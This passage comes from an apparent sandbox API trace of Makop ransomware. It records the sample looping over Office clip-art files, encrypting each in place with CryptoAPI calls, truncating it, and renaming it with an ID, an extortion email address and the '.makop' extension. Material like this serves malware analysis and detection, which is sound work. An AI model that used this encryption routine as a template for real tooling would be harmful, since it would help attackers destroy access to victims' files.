GetProcessHeap () returned 0x48a0000 [0148.505] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.505] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.505] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.505] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.505] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.506] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.507] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.507] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.507] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.507] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.507] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x36aa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x36aa, lpOverlapped=0x0) returned 1 [0148.511] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36b0, dwBufLen=0x36b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36b0) returned 1 [0148.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x36b0, lpOverlapped=0x0) returned 1 [0148.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.512] SetEndOfFile (hFile=0xf0) returned 1 [0148.519] GetProcessHeap () returned 0x48a0000 [0148.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.519] GetProcessHeap () returned 0x48a0000 [0148.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.519] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.521] CloseHandle (hObject=0xf0) returned 1 [0148.521] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0148.522] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF") returned 63 [0148.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.523] GetProcessHeap () returned 0x48a0000 [0148.523] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.523] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.523] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0148.528] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.528] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.528] GetProcessHeap () returned 0x48a0000 [0148.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.529] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.529] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.529] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.532] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.532] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.533] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.533] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.533] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.533] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.533] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x32f6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x32f6, lpOverlapped=0x0) returned 1 [0148.559] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3300, dwBufLen=0x3300 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3300) returned 1 [0148.559] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.559] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3300, lpOverlapped=0x0) returned 1 [0148.559] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.560] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.560] SetEndOfFile (hFile=0xf0) returned 1 [0148.566] GetProcessHeap () returned 0x48a0000 [0148.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.566] GetProcessHeap () returned 0x48a0000 [0148.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.567] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.568] CloseHandle (hObject=0xf0) returned 1 [0148.568] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0148.568] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 63 [0148.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.571] GetProcessHeap () returned 0x48a0000 [0148.571] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.572] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.572] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.572] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.572] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.572] GetProcessHeap () returned 0x48a0000 [0148.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.573] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.573] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.573] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.592] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.592] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.592] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.593] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.593] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.593] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.593] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.593] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7a80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7a80, lpOverlapped=0x0) returned 1 [0148.643] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a80, dwBufLen=0x7a80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a80) returned 1 [0148.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7a80, lpOverlapped=0x0) returned 1 [0148.644] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.645] SetEndOfFile (hFile=0xf0) returned 1 [0148.653] GetProcessHeap () returned 0x48a0000 [0148.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.653] GetProcessHeap () returned 0x48a0000 [0148.653] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.653] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.655] CloseHandle (hObject=0xf0) returned 1 [0148.655] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0148.655] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF") returned 63 [0148.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.657] GetProcessHeap () returned 0x48a0000 [0148.657] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.657] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0148.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.704] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.704] GetProcessHeap () returned 0x48a0000 [0148.704] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0148.704] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0148.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0148.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0148.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0148.704] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0148.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0148.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0148.705] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0148.705] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0148.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.705] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4754, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4754, lpOverlapped=0x0) returned 1 [0148.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4760, dwBufLen=0x4760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4760) returned 1 [0148.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4760, lpOverlapped=0x0) returned 1 [0148.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0148.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.770] SetEndOfFile (hFile=0xf0) returned 1 [0148.781] GetProcessHeap () returned 0x48a0000 [0148.781] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0148.781] GetProcessHeap () returned 0x48a0000 [0148.781] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0148.781] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0148.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0148.783] CloseHandle (hObject=0xf0) returned 1 [0148.783] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0148.783] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF") returned 63 [0148.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0148.841] GetProcessHeap () returned 0x48a0000 [0148.841] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0148.841] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0148.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0148.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, 